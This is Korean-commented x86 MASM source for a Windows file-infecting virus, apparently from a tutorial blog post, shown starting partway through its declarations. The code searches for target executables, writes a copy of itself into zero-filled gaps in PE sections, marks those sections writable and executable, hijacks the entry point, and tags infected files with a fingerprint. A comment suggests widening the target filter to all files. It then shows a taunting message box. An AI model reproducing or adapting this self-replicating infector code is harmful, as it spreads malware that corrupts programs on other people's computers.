fdFindData equ [ebp-520] ; WIN32_FIND_DATA 구조체 (320 bytes)

pFreeSpace equ [ebp-524] ; 감염될 주소 (빈 공간)
dwDelta equ [ebp-528] ; 실제 로드될때의 가상주소와 파일오프셋간의 보정값

hFind equ [ebp-532] ; 파일검색 핸들
dwInfectedNum equ [ebp-536] ; 감염된 파일개수
; ...

;--------------------------------------------------------------------------------------------------------
; proto type
;--------------------------------------------------------------------------------------------------------
; TODO : list proto type

;--------------------------------------------------------------------------------------------------------
; data section
;--------------------------------------------------------------------------------------------------------

;--------------------------------------------------------------------------------------------------------
; code section
;--------------------------------------------------------------------------------------------------------
.code

;--------------------------------------------------------------------------------------------------------
; 코드 시작 !!
;--------------------------------------------------------------------------------------------------------
StartCode:
; 스택꼭대기의 주소값 백업
mov edi, [esp]

; 스택프레임 생성(마치 전체 코드가 하나의 함수처럼 동작한다.)
push ebp
mov ebp, esp
sub esp, STACKFRAME_LEN

;--------------------------------------------------------------------------------------------------------
; 코드의 시작주소 백업
; (call명령이 실행주소를 스택에 백업한다는 것을 이용한다.)
;--------------------------------------------------------------------------------------------------------
call GetEip ; 현재 코드의 실행위치
GetEip:
pop eax
sub eax, (GetEip-StartCode)
mov dwCodeStart, eax ; 지역변수 dwCodeStart에 코드의 시작주소 저장.
mov ebx, eax ; 이제 ebx가 항상 코드의 시작주소를 가지고 있다.

; KERNEL32.DLL의 모듈핸들(베이스주소) 얻어낸다.
mov dwBaseOfSearchKernel, edi
call GetKernelBaseAddr
or eax, eax
je Exit
mov hKernel32Module, eax

; LoadLibraryA()의 함수주소 얻어낸다.
lea eax, (g_szLoadLibraryA-StartCode)[ebx]
mov pszApi, eax
call GetProcAddr
or eax, eax
je Exit
mov pfnLoadLibraryA, eax

; GetProcAddress()의 함수주소 얻어낸다.
lea eax, (g_szGetProcAddress-StartCode)[ebx]
mov pszApi, eax
call GetProcAddr
or eax, eax
je Exit
mov pfnGetProcAddress, eax

; KERNEL32 로드
lea eax, (g_szKernel32_dll-StartCode)[ebx]
push eax
call dword ptr pfnLoadLibraryA
mov hKernel32Module, eax

; USER32 로드
lea eax, (g_szUser32_dll-StartCode)[ebx]
push eax
call dword ptr pfnLoadLibraryA
mov hUser32Module, eax

;--------------------------------------------------------------------------------------------------------
; 필요한 API 함수주소를 얻어온다.
;--------------------------------------------------------------------------------------------------------
GetApiAddrs:
; FindFirstFileA() 함수주소
lea eax, (g_szFindFirstFileA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFindFirstFileA, eax

; CreateFileA() 함수주소
lea eax, (g_szCreateFileA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnCreateFileA, eax

; CreateFileMappingA() 함수주소
lea eax, (g_szCreateFileMappingA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnCreateFileMappingA, eax

; MapViewOfFile() 함수주소
lea eax, (g_szMapViewOfFile-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnMapViewOfFile, eax

; UnmapViewOfFile() 함수주소
lea eax, (g_szUnmapViewOfFile-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnUnmapViewOfFile, eax

; CloseHandle() 함수주소
lea eax, (g_szCloseHandle-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnCloseHandle, eax

; FreeLibrary() 함수주소
lea eax, (g_szFreeLibrary-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFreeLibrary, eax

; FindNextFileA() 함수주소
lea eax, (g_szFindNextFileA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFindNextFileA, eax

; FindClose() 함수주소
lea eax, (g_szFindClose-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnFindClose, eax

; SetFileAttributesA() 함수주소
lea eax, (g_szSetFileAttributesA-StartCode)[ebx]
push eax
push hKernel32Module
call dword ptr pfnGetProcAddress
mov pfnSetFileAttributesA, eax

; MessageBoxA() 함수주소
lea eax, (g_szMessageBoxA-StartCode)[ebx]
push eax
push hUser32Module
call dword ptr pfnGetProcAddress
mov pfnMessageBoxA, eax

;--------------------------------------------------------------------------------------------------------
; 감염시킬 파일을 검색한다.
; 필요하다면 루프나 재귀호출로써 시스템에 있는 파일 전부 또는 일부를 감염시킬 수 있다.
;--------------------------------------------------------------------------------------------------------
GetTargetFile:
; 감염된 파일개수 초기화
mov dword ptr dwInfectedNum, 0

; FindFirstFileA()
lea eax, fdFindData
push eax
lea eax, (g_szTargetFilter-StartCode)[ebx]
push eax
call dword ptr pfnFindFirstFileA
cmp eax, -1
;je Cleanup
je HereWeGo ; 감염시킬 대상을 찾지 못했다면, 우리의 코드만 실행하고 정상적으로 죵료한다.

; 파일검색 핸들 설정
mov dword ptr hFind, eax

; 처음이니까...
jmp SkipFindNext

GetNextFile:
; FindNextFileA();
lea eax, fdFindData
push eax
push dword ptr hFind
call dword ptr pfnFindNextFileA
cmp eax, FALSE
je HereWeGo ; 더이상 감염대상이 없다면, 우리의 코드만 실행하고 정상적으로 종료한다.

SkipFindNext:

;--------------------------------------------------------------------------------------------------------
; 감염시킬 파일을 찾았다면 메모리맵 파일로 연다.
;--------------------------------------------------------------------------------------------------------
OpenMappedFile:
assume eax: ptr WIN32_FIND_DATA

; SetAttributes() : 쓰기가능한 속성으로 설정한다.
push FILE_ATTRIBUTE_ARCHIVE
lea eax, fdFindData
lea eax, [eax].cFileName ; WIN32_FIND_DATA.cFileName
push eax
call dword ptr pfnSetFileAttributesA

; CreateFileA()
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push (FILE_SHARE_READ or FILE_SHARE_WRITE)
push (GENERIC_READ or GENERIC_WRITE)
lea eax, fdFindData
lea eax, [eax].cFileName ; WIN32_FIND_DATA.cFileName
push eax
call dword ptr pfnCreateFileA
cmp eax, -1
je Failed_CreateFile ; 파일생성 실패 !!
mov hFile, eax

assume eax: nothing

; CreateFileMapping()
push NULL
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile
call dword ptr pfnCreateFileMappingA
cmp eax, -1
je Failed_FileMapping ; 파일매핑 실패 !!
mov hMap, eax

; MapViewOfFile()
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
push hMap
call dword ptr pfnMapViewOfFile
cmp eax, -1
je Failed_MapViewFile ; 파일 뷰포인터 변환 실패 !!
mov pFile, eax

;--------------------------------------------------------------------------------------------------------
; 감염대상이 정상적인 실행가능한 파일이라면, 감염시킬 적당한 빈 공간(0바이트로 채워진)을
; 검색한뒤, 우리의 코드를 감염시킨다.
;--------------------------------------------------------------------------------------------------------
FindEmptySpace:
; 올바른 PE 형식인가 검사한다.
mov edi, pFile
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic == IMAGE_DOS_SIGNATURE ; IMAGE_DOS_HEADER.e_magic
add edi, [edi].e_lfanew
assume edi: ptr IMAGE_NT_HEADERS
.if [edi].Signature != IMAGE_NT_SIGNATURE ; IMAGE_NT_SIGNATURE.Signature
jmp CloseAll
.endif
.else
jmp CloseAll
.endif

; ecx에 섹션의 개수를 담는다.
xor ecx, ecx
mov word ptr cx, [edi].FileHeader.NumberOfSections ; IMAGE_NT_SIGNATURE.FileHeader.NumberOfSections

; 거꾸로 검색한다. !! ; eax -> 마지막 섹션포인터 상대위치
xor edx, edx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx
sub eax, sizeof IMAGE_SECTION_HEADER

; edx에 섹션의 헤더 포인터를 담는다.
mov edx, edi
add edx, sizeof IMAGE_NT_HEADERS
add edx, eax ; 마지막 섹션포인터 상대위치만큼 더한다. (거꾸로 검색하기 위해)
assume edx: ptr IMAGE_SECTION_HEADER

; 각 섹션을 순회하면서 빈 공간을 찾아낸다.
push ebx ; 코드의 시작주소를 잠시 스택에 백업한다.
xor ebx, ebx ; 임시변수로 사용하기 위해 0으로 초기화한다.

.while ecx > 0
mov esi, pFile
add esi, [edx].PointerToRawData

;-----------------------------------------------------------------
; 섹션에 따라서 감염되어서는 안되는 영역이 있다.
; 예를 들면 코드영역(.text)이나 재배치정보 영역(.reloc)같은 곳에는
; 감염될경우 원래 프로그램이 동작하지 않을 위험이 크다.
;-----------------------------------------------------------------
inc edx
.if dword ptr [edx] == 6f6c6572h ; ".reloc" 섹션이라면 건너뛰자.
dec edx
jmp @Contine
.endif
dec edx

; 델타값 저장 (eax를 사용해서)
mov eax, [edx].VirtualAddress
sub eax, [edx].PointerToRawData
mov dword ptr dwDelta, eax

; 마찬가지로 거꾸로 검색한다.
mov eax, [edx].SizeOfRawData
add esi, eax
dec esi
.while eax > 0
.if byte ptr [esi] == 0
; 빈 공간이라면 ebx(빈 공간 길이를 담기위한 임시변수) 1 증가
inc ebx
; 빈 공간의 길이가 우리의 원하는 만큼의 길이가 된다면,
.if ebx >= (EXTRA_GAP*2 + CODE_LEN)
; 섹션 속성 변경 !!
or [edx].Characteristics, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
mov pFreeSpace, esi
jmp InfectCode ; 코드를 감염시키자 !!
.endif
.else
;---------------------------------------------------
; 이미 감염된 녀석이라면, 다시 감염시키지 않는다.
;---------------------------------------------------
.if ebx >= 4 ; 지문뒤에 4바이트 0이 존재하므로
.if dword ptr [esi-3] == FINGERPRINT
; 이미 감염된 파일이다.
pop ebx ; 역시 ebx를 복원하는것을 잊으면 곤란하다.
jmp CloseAll ; 그냥 조용히 모른척하자.
.endif
.endif
; 빈 공간이 아니라면(0바이트 영역이 아니라면)
; 빈 공간의 길이(ebx)를 0으로 리셋한다.
xor ebx, ebx
.endif
;inc esi ; 다음 바이트로
dec esi ; 이전 바이트로
dec eax ; 카운터 1 감소
.endw

@Contine:
;add edx, sizeof IMAGE_SECTION_HEADER ; 다음 섹션으로
sub edx, sizeof IMAGE_SECTION_HEADER ; 이전 섹션으로(거꾸로 검색)
dec ecx ; 카운터 1 감소
.endw
assume edx: nothing

pop ebx ; 까먹을뻔 했다 !! ebx를 복원한다.

; 섹션을 다 돌았는데도 불구하고 필요한 만큼의 빈 공간이 확보되지 않았다면
; 그냥 모른척하고 감염을 포기한다.
jmp CloseAll

;--------------------------------------------------------------------------------------------------------
; 자, 원하는 만큼의 빈 공간이 확보되었다. 이제 우리의 코드를 감염시키면 된다.
; 여기까지 왔다면 지역변수 pFreeSpace에는 감염시킬 파일포인터를 가지고 있을것이다.
;--------------------------------------------------------------------------------------------------------
InfectCode:
pop ebx ; 역시 ebx를 복원하는것을 잊으면 곤란하다.

add dword ptr pFreeSpace, EXTRA_GAP ; 약간의 여유공간을 남겨두고...

; 이제 우리 코드를 감염시키자 !!
push edi ; edi 스택에 백업
mov esi, ebx ; Source Index, ebx는 우리 코드의 시작이란걸 잊지 않았겠지?
mov ecx, CODE_LEN ; Length(Counter), 우리의 코드 길이만큼을
mov edi, pFreeSpace ; Target Index, 아까 찾아낸 빈 공간에다가 복사하면 감염 끝 !!
rep movs byte ptr [edi], [esi]
pop edi ; 까먹지 말자 !!

;--------------------------------------------------------------------------------------------------------
; 숙주 프로그램의 엔트리포인트를 내 코드 시작지점으로 변경하고,
; 우리의 코드 끝에 원래의 엔트리포인트로 점프하는 루틴을 삽입한다.
;--------------------------------------------------------------------------------------------------------
ModifyEntryPoint:
; 우리의 코드 끝부분(원래 엔트리포인트로 점프하는 부분)
mov eax, pFreeSpace
mov ecx, (Jmp2OrgEntryPoint-StartCode-4)
add eax, ecx

; 우리의 코드 끝부분 4바이트에다가 원래 엔트리포인트를 덮어쓴다.
mov ecx, [edi].OptionalHeader.AddressOfEntryPoint
add ecx, [edi].OptionalHeader.ImageBase
mov dword ptr [eax], ecx

; 우리 코드의 시작위치로 엔트리포인트를 수정해준다.
mov eax, pFreeSpace
sub eax, pFile

add eax, dwDelta ; 델타 보정

mov [edi].OptionalHeader.AddressOfEntryPoint, eax

;--------------------------------------------------------------------------------------------------------
; 파일 감염 성공 !!
;--------------------------------------------------------------------------------------------------------
InfectOK:
assume edi: nothing

; 감염된 파일개수 1 증가
inc dword ptr dwInfectedNum

;--------------------------------------------------------------------------------------------------------
; 열린 자원들(각종 핸들등)을 모두 닫아준다.
;--------------------------------------------------------------------------------------------------------
CloseAll:
push dword ptr pFile
call dword ptr pfnUnmapViewOfFile

Failed_MapViewFile:
push dword ptr hMap
call dword ptr pfnCloseHandle

Failed_FileMapping:
push dword ptr hFile;
call dword ptr pfnCloseHandle

Failed_CreateFile:

; 원하는 개수만큼 감염을 반복한다. !!
.if dword ptr dwInfectedNum < MAX_INFECT_NUM
jmp GetNextFile
.endif

;--------------------------------------------------------------------------------------------------------
; 우리가 원하는 것을 아래에서 해주면 된다 !!
;--------------------------------------------------------------------------------------------------------
HereWeGo:
; 메시지 박스 !!
push MB_ICONINFORMATION
lea eax, (g_szMsgTitle-StartCode)[ebx]
push eax
lea eax, (g_szMsgText-StartCode)[ebx]
push eax
push NULL
call dword ptr pfnMessageBoxA

;--------------------------------------------------------------------------------------------------------
; 로드된 각종 모듈들을 반환한다.
;--------------------------------------------------------------------------------------------------------
Cleanup:
; 파일검색 핸들 닫기
push dword ptr hFind;
call dword ptr pfnFindClose

; KERNEL32.DLL 반환
push dword ptr hKernel32Module
call dword ptr pfnFreeLibrary

; USER32.DLL 반환
push dword ptr hUser32Module
call dword ptr pfnFreeLibrary

;--------------------------------------------------------------------------------------------------------
; 스택프레임을 복구하고 작업을 정리한다.
; 마지막에 덮어써질 점프코드도 마련한다.
;--------------------------------------------------------------------------------------------------------
Exit:
add esp, STACKFRAME_LEN
mov esp, ebp
pop ebp

; 작업후에 원래의 엔트리포인트로 돌아가기위해
; 덮어써질 코드를 마련한다.
push offset EndCode
Jmp2OrgEntryPoint:
ret

;--------------------------------------------------------------------------------------------------------
; KERNEL32.DLL의 베이스주소를 얻어오는 코드
; 가상메모리를 역으로 검색해 올라가면서 첫번째로 로드된 DLL을 찾는다.
;--------------------------------------------------------------------------------------------------------
GetKernelBaseAddr:
assume fs: nothing

; 예외처리 프레임 생성
push dword ptr (SehHandler-StartCode)[ebx] ; 예외처리 핸들러(절대번지로 지정한다.)
push fs:[0]

; esp, ebp 레지스터를 백업하고, 예외발생시 점프할 코드주소(eip)를 저장한다.
mov dword ptr orgEsp, esp
mov dword ptr orgEbp, ebp
mov edi, (@ExpPatch-StartCode)[ebx]
mov dword ptr savEip, edi

; 예외처리 프레임 설치 !!
mov fs:[0], esp

; KERNEL32.DLL의 베이스주소를 검색한다.
mov edi, dwBaseOfSearchKernel ; 검색시작주소(시작시에 저장해놓은 스택포인터의 값)
and edi, 0ffff0000h ; 하위워드는 리셋시킨다.

; 검색시작 !!
.while TRUE
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic == IMAGE_DOS_SIGNATURE ; IMAGE_DOS_HEADER.e_magic
mov esi, edi
add esi, [edi].e_lfanew
assume esi: ptr IMAGE_NT_HEADERS
.if [esi].Signature == IMAGE_NT_SIGNATURE ; IMAGE_NT_SIGNATURE.Signature
.break
.endif
.endif

@ExpPatch:
; 결국, 예외가 발생하거나
; 아직 찾지 못했다면 이리로 온다 !!
sub edi, 010000h ; 0x10000 만큼 더 올라가본다.
.if edi < MIN_BASE_SEARCH_KERNEL
mov edi, 0bff70000h
.break
.endif
.endw
xchg eax, edi

; 예외처리 프레임 해제
pop fs:[0]
add esp, 4
ret

;--------------------------------------------------------------------------------------------------------
; API 함수주소를 얻어오는 코드
; PE 헤더를 검색하면서 수동으로 함수주소를 얻어온다.
;--------------------------------------------------------------------------------------------------------
GetProcAddr:
; 예외처리 프레임 생성
push dword ptr (SehHandler-StartCode)[ebx] ; 예외처리 핸들러(절대번지로 지정한다.)
push fs:[0]

; esp, ebp 레지스터를 백업하고, 예외발생시 점프할 코드주소(eip)를 저장한다.
mov dword ptr orgEsp, esp
mov dword ptr orgEbp, ebp
mov edi, (@Fail-StartCode)[ebx]
mov dword ptr savEip, edi

; 올바른 PE형식인가?
mov esi, hKernel32Module
cmp word ptr [esi], IMAGE_DOS_SIGNATURE
jne @Fail
add esi, dword ptr [esi+03Ch]
cmp dword ptr [esi], IMAGE_NT_SIGNATURE
jne @Fail

; 함수이름의 문자열 길이
mov edi, pszApi
mov ecx, MAX_API_NAME_LEN
xor al, al
repnz scasb
mov ecx, edi
sub ecx, pszApi ; ecx -> 함수이름의 길이 (NULL 포함)

; Export Table을 검색한다.
mov edx, dword ptr [esi+078h]
add edx, hKernel32Module
assume edx: ptr IMAGE_EXPORT_DIRECTORY ; edx -> Export Directory 포인터

; 먼저 함수 이름으로 검색해보자.
mov edi, [edx].AddressOfNames
add edi, hKernel32Module ; edi -> AddressOfNames 배열 포인터
xor eax, eax ; eax -> AddressOfNames 인덱스 (초기화)

.while eax < [edx].NumberOfNames
; 일단 스택에 백업
push edi

; 문자열 비교를 위한 esi, edi 설정
mov esi, pszApi ; source index
mov edi, dword ptr [edi] ; destination index
add edi, hKernel32Module

; 카운터 백업
push ecx ; 함수이름 길이도 스택에 백업

repz cmpsb ; 문자열 비교
.if zero?
; 원하는 함수를 찾았다 !!
pop ecx ; 일단 스택을 복원해주고
pop edi
jmp @FindIt ; 다음 처리를 위해...
.endif

pop ecx ; 스택을 복원하는것을
pop edi ; 잊지말자 !!

add edi, 4 ; 포인터와 인덱스 증가
inc eax
.endw

; 함수를 찾지 못했다. !!
jmp @Fail

@FindIt:

; 함수 Ordinal Number를 얻어내자.
mov esi, [edx].AddressOfNameOrdinals ; edx는 Export Directory 포인터였다.
add esi, hKernel32Module ; esi -> AddressOfNameOrdinals 배열 포인터

push edx ; 일단 edx(Export Directory 포인터) 백업

xor edx, edx ; edx 0으로 리셋
mov edi, 2 ; Ordinal Number는 WORD형이므로 2bytes
mul edi ; 이미 위에서 작업한 결과로 eax에는 인덱스가 담겨있을것이다.
; 그러므로 AddressOfNameOrdinals 배열의 인덱스를 정확히 계산해낸다.

pop edx ; 역시 잊으면 곤란하다. (항상 스택을 머릿속으로 그려가며...)

add eax, esi ; Ordinal Number를 얻었다 !!
xor ecx, ecx
mov word ptr cx, [eax] ; ecx -> Ordinal Number

; 그러면 마지막으로 실제 함수의 주소를 찾아보자.
mov edi, [edx].AddressOfFunctions ; edi -> AddressOfFunctions 배열 포인터

xor edx, edx ; edx 0으로 리셋
mov esi, 4 ; 함수주소는 4바이트
mov eax, ecx
mul esi ; 4 * Ordinal Number

add eax, hKernel32Module
add eax, edi
mov eax, [eax]
add eax, hKernel32Module ; eax -> 우리가 찾는 함수 주소가 얻어졌다.

jmp @Success ; 성공 !!

assume esi: nothing
assume edi: nothing
assume edx: nothing

@Fail:
xor eax, eax

@Success:
; 예외처리 프레임 해제
pop fs:[0]
add esp, 4
ret

;--------------------------------------------------------------------------------------------------------
; 구조화 예외처리 핸들러 (지역변수에 백업된, esp, ebp, eip를 복원한다.)
;--------------------------------------------------------------------------------------------------------
SehHandler:

; 예외처리 핸들러의 원형 (C 타입)
; EXCEPTION_DISPOSITION __cdecl ExceptionHandler(
; struct _EXCEPTION_RECORD *ExceptionRecord,
; void * EstablisherFrame,
; struct _CONTEXT *ContextRecord,
; void * DispatcherContext)

mov eax, [esp-10h] ; ContextRecord
assume eax: ptr CONTEXT

; 레지스터 복원
push dword ptr orgEsp
pop [eax].regEsp
push dword ptr orgEbp
pop [eax].regEbp
push dword ptr savEip
pop [eax].regEip

mov eax, ExceptionContinueExecution ; 핸들링을 계속 수행한다.
ret

;--------------------------------------------------------------------------------------------------------
; 문자열 (전역데이터)
;--------------------------------------------------------------------------------------------------------
Strings:
; DLLs
g_szKernel32_dll db "KERNEL32.DLL", NULL
g_szUser32_dll db "USER32.DLL", NULL

; API Functions
g_szGetProcAddress db "GetProcAddress", NULL
g_szLoadLibraryA db "LoadLibraryA", NULL
g_szFindFirstFileA db "FindFirstFileA", NULL
g_szCreateFileA db "CreateFileA", NULL
g_szCreateFileMappingA db "CreateFileMappingA", NULL
g_szMapViewOfFile db "MapViewOfFile", NULL
g_szUnmapViewOfFile db "UnmapViewOfFile", NULL
g_szCloseHandle db "CloseHandle", NULL
g_szFreeLibrary db "FreeLibrary", NULL
g_szMessageBoxA db "MessageBoxA", NULL
g_szFindNextFileA db "FindNextFileA", NULL
g_szFindClose db "FindClose", NULL
g_szSetFileAttributesA db "SetFileAttributesA", NULL

; 기타
g_szMsgTitle db "woojooin", NULL
g_szMsgText db "Ha Ha Ha, I'm Here !!", NULL

; 감염대상 필터
g_szTargetFilter db "_host.exe", NULL ; "*.*" 으로 한다면...흐흐흐...

; 바이러스 지문
g_dwFingerPrint dd FINGERPRINT ; "HeRe"
g_dwFingerPrintFooter dd 0 ; 검색을 쉽게하기 위해서

;--------------------------------------------------------------------------------------------------------
; 코드의 끝 !!
;--------------------------------------------------------------------------------------------------------
EndCode:
push 0
call ExitProcess

end StartCode


반응형
반응형